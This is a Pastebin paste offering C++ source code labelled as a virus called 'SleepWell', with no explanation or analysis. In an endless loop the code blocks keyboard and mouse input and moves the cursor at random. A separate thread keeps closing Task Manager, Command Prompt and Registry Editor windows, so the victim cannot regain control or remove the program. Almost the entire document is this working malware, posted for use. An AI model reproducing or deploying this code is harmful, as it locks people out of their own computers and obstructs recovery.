Advertisement
FlyFar

SleepWell - C++ Virus Source Code

Mar 2nd, 2023
881
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.81 KB | Cybersecurity | 0 0
  1. #include <windows.h>
  2. #include <winable.h>
  3.  
  4. HWND mywindow, TaskMgr, CMD,Regedit; //hwnd la`
  5. DWORD WINAPI DestroyWindows(LPVOID);
  6.  
  7. int main()
  8. {
  9. int x,y;
  10. CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
  11. while(1)
  12. {
  13. BlockInput( true );
  14. Sleep(6);
  15. x = rand()%801;
  16. y = rand()%601;
  17. SetCursorPos(x,y);
  18. }
  19.  
  20. return 0;
  21. }
  22.  
  23.  
  24. DWORD WINAPI DestroyWindows(LPVOID)
  25. {
  26. while(1)
  27. {
  28. TaskMgr = FindWindow(NULL,"Windows Task Manager");
  29. CMD = FindWindow(NULL, "Command Prompt");
  30. Regedit = FindWindow(NULL,"Registry Editor");
  31. if( TaskMgr != NULL )
  32. {
  33. PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  34. }
  35. if( CMD != NULL )
  36. {
  37.  
  38. PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  39. }
  40. if( Regedit != NULL )
  41. {
  42.  
  43. PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  44. }
  45.  
  46. Sleep(10);
  47. }
  48. }
  49.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement